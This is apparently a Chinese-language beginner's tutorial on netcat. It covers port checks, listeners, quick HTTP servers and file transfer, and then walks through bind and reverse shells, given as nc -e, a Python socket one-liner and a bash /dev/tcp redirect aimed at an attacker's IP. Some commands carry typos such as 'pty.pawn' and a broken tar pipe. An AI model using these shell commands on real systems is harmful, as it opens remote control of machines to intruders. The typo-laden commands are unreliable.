【工具】nc使用详解

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
简介: 本文将详细讲解nc使用以及相关网络知识,适合初学者

视频教程可以去B站找我
https://space.bilibili.com/123895286

Netcat

一个简单的“读写和写作的实用程序 跨网络连接的数据,使用 TCP 或 UDP 协议

Connecting to a TCP/UDP Port

client mode.

We can use client mode to connect to any TCP/UDP port, allowing us to: • Check if a port is open or closed. • Read a banner from the service listening on a port.

banner信息就是指服务器返回给你的响应头的相关信息,通过这些banner信息可以得到一个服务器的端口号、上面安装了哪些服务?以及服务相应的版本......等等

• Connect to a network service manually

We will supply several arguments:

the -n option to skip DNS name resolution;

*域名解析(DNS(domain name resolution))

域名解析的过程就是一个翻译的过程,就是将人比较熟悉、容易记忆的名称翻译成机器熟悉的IP地址的过程(当然解析还有很多别的用途,这里只解释最常用的A记录)。*

域名———域名系统———服务器

243.png

-v to add some verbosity; //the more the number of v ,the more information we get

the destination IP address; and the destination port number:

# 单次开启ssh
sudo systemctl start ssh
 
# 单次关闭ssh
sudo systemctl stop ssh

listen for somewhere

nc -l 指定监听模式

-p 端口指定

-q 传输结束后等待多久断开,后面加秒

chat/information server

kali:nc -l -p 2222

other:nc -nv kaliIP

//电子取证应用

kali:nc -l -p 2222 > ls.txt

other:ls | nc -nv kaliIP port -q 1

记得关闭防火墙

SimpleHTTPserver

1.use python

kali:

python(2) -m SimpleHTTPServer 9999

python3 -m http.server 9999

other:

get ip:prot

//当前目录作为根目录

2.use php

php -S ip:port

//不支持目录浏览

3.ruby

(脚本语言)

ruby -run -e httpd . -p 9999

//当前目录作为根目录

4.busybox

busybox——Linux 优秀工具的集合

busybox httpd -f -p 9999

5.nc
1)传输文件

发送端(客户端):

nc -nv ip prot < 1.txt

接收端(监听端):

nc -lnvp prot > 1.txt

/usr/share/windows-binarie

//中间人传输

kali———win———–linux

but kali ———– ———–linux

so win is doublefaced system

kali:nc -nv ip1 prot < 1.txt

win;nc -lnvp prot | nc -nv ip2 prot

linux: nc -nv ip > 1.txt

2)传输目录

目录成压缩文件———传输压缩文件

发送端(客户端):

tar cvf dir.tar dir | nc -nv ip prot

接收端(监听端):

nc -lnvp ip prot | tar xvf

shell administration

1)正向连接

win:nc -lnvp 996 -e cmd.exe

lin:nc -lnvp 9999 -e /bin/sh

kali;nc -nv ip port

win开启服务端口,kali利用服务恶意连接

利用python获得交互shell

pyhton -c ‘import pty;pty.pawn(“/bin/bash”)’

//个别系统可能用不了

 

2)反弹连接

正向连接会受到防火墙的影响

kali——攻击端

nc -lnvvp 999

win——目标

nc -nv ip 999 -e cmd.exe

攻击端开启“服务”端口等待受害者被“服务”,并使受害者shell也搭进去

对于受害者来说,连接为出站连接,防火墙不会阻挠连接

but,if target cannt use nc

you can use pyhton,php………..

python -c 'import socket,subprocess,os 
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("ip",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2) 
p=subprocess.call(["/bin/sh","-i"])'

一般linux都会预装python,普遍性更强

Asides,you also can use bash

 

bash -i >& /dev/tcp/ip/port 0>&1

ip/port 都是攻击者的

-i说明交互效果

>& + 文件#表示标准输出重定向文件,所以可以显示输出
0>&1  #输入重定向到输出,所以可以输入命令

 

 

目录
相关文章
|
网络协议 Linux 网络安全
Linux命令(4)之nc
Linux命令(4)之nc
108 0
|
安全 Shell 网络安全
|
6月前
NC253077:小沙的悬崖
NC253077:小沙的悬崖
41 0
|
监控 网络协议 Linux
Linux利用nc命令脚本批量检测服务器指定端口是否开放
nc命令脚本批量检测服务器指定端口是否开放
1123 0
Linux利用nc命令脚本批量检测服务器指定端口是否开放
|
Linux Shell
nc工具基本使用
nc工具基本使用
386 0
|
网络协议 Shell Linux
如何使用NC反弹shell
如何使用NC反弹shell
258 0
|
安全 Shell 网络安全